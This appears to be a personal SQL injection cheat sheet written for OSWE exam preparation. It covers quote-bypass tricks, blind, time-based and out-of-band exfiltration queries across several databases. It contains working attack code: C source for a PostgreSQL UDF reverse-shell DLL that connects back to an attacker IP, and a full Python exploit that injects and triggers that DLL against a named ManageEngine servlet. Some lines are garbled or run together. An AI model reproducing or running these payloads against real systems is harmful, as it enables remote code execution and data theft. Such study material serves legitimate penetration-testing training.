Encoding 101
Base64, Hex Strings, and URL (% Style) Encodings for Payload Transimission As Strings
I touch many different programming languages with different syntax’s and to be honest I don’t remember them all.
Sometimes I write powershell in zsh… If you’re in the mood for jokes, mention something along those lines during a job interview.
All of the information here can be found elsewhere probably in greater deal; and
there’s no point in reproducing information unless there is some distinct advantage to doing so.
My goal here is to have a fast lookup table of various SQLi syntax’s for all of the major DBMS for when I take the OSWE exam and beyond.
The following statments are equal:
select 1;
select/**/1;
meaning we can use /**/ as a substitute for a single whitespace character.
In MySQL ASCII characters in their hexadecimal representation are automatically decoded by the MySQL engine. This means that the following statements are equal:
select concat('1337',' h@x0r');
select concat(0x31333337,0x206840783072)
Continually Updated.
Continually Updated.
Character restrictions are common for whatever the reason. It may be the case that the webserver HTML/URL encodes special characters (such as ‘) before they are sent to the backend/db. This is why manual testing is important but anyway in PostgreSQL one way around a quote restrictions is to use CHR and concatenation syntax.
select chr(122)||chr(105)||chr(110)||chr(104)||chr(97)||chr(114)||chr(116);
/* returns zinhart */
create table ZINHART(donkey text);INSERT into ZINHART(donkey) VALUES (chr(122)||chr(105)||chr(110)||chr(104)||chr(97)||chr(114)||chr(116));
/* returns zinhart */
The one limitation of this trick is that does not work for all sql commands in PostgreSQL. It’s limited to select, insert, delete, etc. We can for example use CHR in conjunction with the COPY function to write to a file.
The limitations of the technique above brings us to a second trick in PostgreSQL. The following statements are all equivalent;
select 'zinhart';
select $$zinhart$$;/*dollar quoted string*/
select $donkey$zinhart$donkey$;/*tag quoted string*/
Should this be possible? IHMO no! For whatever reason PostgreSQL syntax supports dollar-quoted string constants as well as tag-quoted string constants. One important thing to note is that we cannot use $$ by itself. For instance:
select $$;
/*returns 'Query Error: error: unterminated dollar-quoted string at or near "$$;"'*/
In any case this is an alternate method of bypassing quote restrictions in PostgreSQL and it does not suffer the restriction of CHR and concatention. For instance we can write to disk with:
/*Note the syntax for create temp table is table_name(column_name column_type)*/
CREATE TEMP TABLE ZINHART(donkey text);
INSERT INTO ZINHART(donkey) VALUES ($$Donkeys eat hay$$);
/*Who needs delegation?(run all databases as Builtin\Administrator but preferable System)*/
COPY ZINHART(donkey) TO $$C:\Program Files (x86)\donkey.txt$$;
Coming Soon
Coming Soon
Coming Soon
In general in postgres we can load a udf with:
CREATE OR REPLACE FUNCTION test(text) RETURNS void AS 'FILENAME', 'FUNCTION NAME' LANGUAGE C STRICT;
There is an important restriction that we need to keep in mind.
The compiled extension we want to load must define an appropriate Postgres structure (magic block) to ensure that a dynamically loaded library file is not loaded into an incompatible server.
Pretty much all system binaries do not have this which is why in order to take advantage of UDF’s in postres we also need a method of transferring the DLL/Shared Object to the host.
Consequently this implies that we would have to be on the same network to take advantage of file transfer method like smb/ftp to move the DLL onto the host, if we are using this as an initial foothold.
On the otherhand as a priviledge escalation method (Assuming the DB is running as system/root) this is viable as long as we have an interactive shell even if our attack box is not on the same network.
Here is a proof of concept Postgres UDF DLL (Windows):
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum donkey(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(donkey);
/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
donkey(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
In the case of the udf above we can load the DLL with:
create or replace function donkey(text, integer) returns void as $$C:\donkey.dll$$, $$donkey$$ language C strict;
We can then execute the function donkey and use procmon/taskmanager to verify that 3 instances of cacl.exe are runnning:
SELECT donkey($$calc.exe$$, 3);
One important thing to note, in case we use this in a UNION statement instead of a stacked query, is that the Function returns one row of type void.
Now in the context we mentioned earlier, loading the DLL REMOTELY when our attack box is on the same subnet, we can use:
CREATE OR REPLACE FUNCTION remote_donkey(text, integer) RETURNS void AS $$\\ATTACK BOX IP\donkey.dll$$, $$donkey$$ LANGUAGE C STRICT;
SELECT remote_donkey($$calc.exe$$, 3);
Now lets combine all of this into a reverse shell DLL that we can execute through sqli.
First our reverse shell DLL looks like:
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include <winsock2.h>
#include "utils/builtins.h"
#pragma comment(lib, "ws2_32")
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum connect_back(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(connect_back);
WSADATA wsaData;
SOCKET s1;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO sui;
PROCESS_INFORMATION pi;
Datum
connect_back(PG_FUNCTION_ARGS)
{
/* convert C string to text pointer */
#define GET_TEXT(cstrp) DatumGetTextP(DirectFunctionCall1(textin, CStringGetDatum(cstrp)))
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
WSAStartup(MAKEWORD(2, 2), &wsaData);
s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
hax.sin_family = AF_INET;
hax.sin_addr.s_addr = inet_addr(GET_STR(PG_GETARG_TEXT_P(0)));
hax.sin_port = htons(PG_GETARG_INT32(1));
WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)s1;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
PG_RETURN_VOID();
}
With our payload compiled, we create a function that loads the DLL remotely:
CREATE OR REPLACE FUNCTION hello(text, integer) RETURNS void AS $$\\ATTACK BOX IP\postgres_udf_shell.dll$$, $$connect_back$$ language C strict;
And trigger it with:
select hello($$ATTACK BOX IP$$, 4444);
Postgresql exposes an interface for storing binary files, and because of this we can write a malicious DLL directly into the DB with SQLI assuming we have privileges. This removes the restriction of needing to host the DLL on the same internal network. Also as opposed to the COPY TO function, the advantage of large objects lies in the fact that the data they hold can be exported back to the file system as an identical copy of the original imported file.
Big Stuff!
The large object process is somewhat involved so I’m including an example of an exploit I wrote for manageengine while working through Offsec’s AWAE material. Before thaat through it’s let’s list out the relevant queries/functions/tables Postgres exposes for manipulating large objects.
lo_creat allows us to get a unique id (LOID) for our large object.
select lo_creat(-1)
I like to avoid hardcoded values to keep my exploits as dynamic as possible. So in practicality I usually create a schema with which to hold the LOID.
CREATE SCHEMA SCHEMA_NAME;
CREATE TABLE SCHEMA_NAME.TABLE_NAME(loid oid);
INSERT INTO SCHEMA_NAME.TABLE_NAME(loid) VALUES ((SELECT lo_creat(-1)));
lo_import allows us to import a file as large object and we can also specify a loid either hardcoded or by using a nested query to retrieve an loid we have saved in another schema. Behind the scenes lo_import creates metadata in other tables which is necessary for lo_export to work for us.
SELECT lo_import($$C:\windows\win.ini$$, LOID_HERE )
In terms of actually writing our malicious DLL into the DB, we use the PG_LARGEOBJECT table.
One important thing to note is that Postgres imports a 2KB page size limit for large objects.
Pages are related to large object by the LOID we generate with lo_create.
This also means we have to split up our payload in chunks, one chunk for each page.
The first chunk (PAGE 0).
UPDATE PG_LARGEOBJECT SET data=decode($$UDF_CHUNK_HERE$$, $$hex$$) where loid=LOID_HERE and pageno=PAGE_NO_HERE
Subsequent Chunks (PAGES 1-N):
INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (LOID_HERE, {PAGE_NO_HERE}, decode($$UDF_CHUNK_HERE$$, $$hex$$))
Finally we can export our large object to the filesystem.
SELECT lo_export(LOID_HERE, $$C:\Windows\temp\donkey.dll$$)
Next we create a function that calls our udf like before:
create or replace function donkey(text, integer) returns VOID as $$C:\windows\temp\donkey.dll$$, $$connect_back$$ language C strict
Finally we can active a reverse shell:
select donkey($${ip}$$, {port})
With the relevant functions out of the way, here is the python exploit I wrote for ManagedEngine while working through AWAE.
This exploit makes use of a random schema to reference a dynamic loid.
import requests, sys, urllib.request, urllib.parse, urllib.error, string, random, time
requests.packages.urllib3.disable_warnings()
import binascii
import random, string
SCHEMA_NAME = ''.join(random.choice(string.ascii_lowercase) for _ in range(10))
TABLE_NAME = ''.join(random.choice(string.ascii_lowercase) for _ in range(10))
LOID = lambda : F"(SELECT loid FROM {SCHEMA_NAME}.{TABLE_NAME})"
print(LOID())
# encoded UDF dll
with open('postgres_udf_shell.dll', 'rb') as file:
udf = binascii.hexlify(file.read()).decode('utf-8')
loid = 1337
def log(msg):
print(msg)
def make_request(url, sql):
log(F"[*] Executing query: {sql}")
inj = url % sql
inj.replace(' ','+')
r = requests.get( inj, verify=False)
return r
def create_schema(url):
log(F'[+] Creating Schema {SCHEMA_NAME}...')
sql = F"CREATE SCHEMA {SCHEMA_NAME};CREATE TABLE {SCHEMA_NAME}.{TABLE_NAME}(loid oid);INSERT INTO {SCHEMA_NAME}.{TABLE_NAME}(loid) VALUES ((SELECT lo_creat(-1)))"
make_request(url, sql)
def create_lo(url):
log("[+] Creating LO for UDF injection...")
sql = F"SELECT lo_import($$C:\\windows\\win.ini$$,{LOID()})"
make_request(url, sql)
def inject_udf(url):
log(F"[+] Injecting payload of length {len(udf)} into LO...")
for i in range(0,((len(udf)-1)//4096+1)):
udf_chunk = udf[i*4096:(i+1)*4096]
if i == 0:
sql = F"UPDATE PG_LARGEOBJECT SET data=decode($${udf_chunk}$$, $$hex$$) where loid={LOID()} and pageno={i}"
else:
sql = F"INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES ({LOID()}, {i}, decode($${udf_chunk}$$, $$hex$$))"
make_request(url, sql)
def export_udf(url):
log("[+] Exporting UDF library to filesystem...")
sql = F"SELECT lo_export({LOID()}, $$C:\\Users\\Public\\postgres_udf_shell.dll$$)"
make_request(url, sql)
def create_udf_func(url):
log("[+] Creating function...")
sql = "create or replace function rev_shell(text, integer) returns VOID as $$C:\\Users\\Public\\postgres_udf_shell.dll$$, $$connect_back$$ language C strict"
make_request(url, sql)
def trigger_udf(url, ip, port):
log("[+] Launching reverse shell...")
sql = F"select rev_shell($${ip}$$, {port})"
make_request(url, sql)
if __name__ == '__main__':
try:
server = sys.argv[1].strip()
attacker = sys.argv[2].strip()
port = sys.argv[3].strip()
except IndexError:
print(F"[-] Usage: {sys.argv[0]} serverIP:port attackerIP port")
sys.exit()
sqli_url = "https://"+server+"/servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;%s;--"
create_schema(sqli_url)
create_lo(sqli_url)
inject_udf(sqli_url)
export_udf(sqli_url)
create_udf_func(sqli_url)
trigger_udf(sqli_url, attacker, port)
Notice the space betwwen the two strings
'foo' 'bar'
CONCAT('foo','bar')
'foo'+'bar'
'foo'||'bar'
'foo'||'bar'
SUBSTRING('foobar', 4, 2)
SUBSTRING('foobar', 4, 2)
SUBSTR('foobar', 4, 2)
SUBSTRING('foobar', 4, 2)
#comment
Note the space after the double dash
-- comment
/*comment*/
--comment
/*comment*/
--comment
--comment
/*comment*/
SELECT COLLATION_NAME FROM information_schema.columns
WHERE TABLE_NAME = "TARGET_TABLE" AND
COLUMN_NAME = "TARTGET_COLUMN";
SELECT tbl.name TableName, col.name ColumnName, col.collation_name AS ColumnCollation
FROM sys.columns col
INNER JOIN sys.tables tbl ON col.object_id = tbl.object_id
Must be Oracle > v12.2
SELECT table_name, column_id, column_name, collation FROM user_tab_columns
WHERE table_name = 'YOUR_TABLE'
ORDER BY column_id;
Non default Collations on columns
select table_schema, table_name, column_name, collation_name from information_schema.columns
where collation_name is not null
order by table_schema, table_name, ordinal_position;
select @@version
select @@version
SELECT banner FROM v$version
SELECT version FROM v$instance
SELECT version()
SELECT * FROM information_schema.tablesselect version()
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
General Format:
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
Generic Truthy Condition:
SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),'a')
Generic Falsy Condition:
SELECT IF(1=2,(SELECT table_name FROM information_schema.tables),'a')
Example: Exfiltrate a length of a string.
SELECT IF(1=1,(SELECT LENGTH((sub_query_here))=guess_num),'a')
Example:
Exfiltrate a string linearly, i.e O(n).
We use the ascii values of characters to avoid having to use quotes.
SELECT IF(1=1,(ASCII(SUBSTRING((sql_query_that_returns_a_string),char_pos_in_str,1))=ascii_char_val),'a')
Example:
Exfiltrate a string with binary search, i.e O(log(n)).
We use the ascii values of characters to avoid having to use quotes.
SELECT IF(1=1,(ASCII(SUBSTRING((sql_query_that_returns_a_string),char_pos_in_str,1))>ascii_char_val),'a')
Example: Exfiltrate a tablename (Assumes binary search will be used)
SELECT IF(1=1,(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT ith_table,1),char_pos_in_str,1))>ascii_char_val),'a')
Example: Check if the database has more than 100 tables(e.g figure out the number of tables)
SELECT IF(1=1,(SELECT (SELECT COUNT(table_name) FROM information_schema.tables) > 100),'a')
Example: Check if the current_user() has Super Privilege set (Effectively a DB admin)
SELECT IF(1=1,(SELECT(SELECT COUNT(*) FROM mysql.user WHERE Super_priv ='Y' AND current_user=current_user())>1),'a')
Generic Format:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
Generic Truthy Condition:
SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END
Generic Falsy Condition:
SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END
Generic Format:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Generic Truthy Condition:
SELECT CASE WHEN (1=1) THEN TO_CHAR(1/1) ELSE NULL END FROM dual
Generic False Condition:
SELECT CASE WHEN (1=2) THEN TO_CHAR(1/1) ELSE NULL END FROM dual
Generic Format:
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN CAST(1/0 AS INTEGER) ELSE NULL END)
Generic Truthy Condition:
1 = (SELECT CASE WHEN (1=1) THEN CAST(1/0 AS INTEGER) ELSE NULL END)
Generic Falsy Condition:
1 = (SELECT CASE WHEN (1=2) THEN CAST(1/0 AS INTEGER) ELSE NULL END)
Some resources claim stacked queries can’t be used with MySQL but it’s still worth to test.
QUERY-1-HERE; QUERY-2-HERE
QUERY-1-HERE; QUERY-2-HERE
Does not support batched queries.
QUERY-1-HERE; QUERY-2-HERE
SELECT SLEEP(10)
WAITFOR DELAY '0:0:10'
dbms_pipe.receive_message(('a'),10)
SELECT pg_sleep(10)
SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Keep in mind we might have to use stacked queries and/or unions to make the entire query valid.
It’s pretty much guess work without the source code.
Generic format:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
Generic Truthy Condition:
SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END
Generic Falsy Condition:
SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END
This only works on windows
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
Oracle does not support batched queries so one way we might pull this off is with a union statement. The following technique user XXE to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence.
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
This works of fully patched Oracle installations, but requires elevated privileges.
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
This only works on windows:
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')SUBSTRING('foobar', 4, 2)
Oracle does not support batched queries so one way we might pull this off is with a union statement.
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();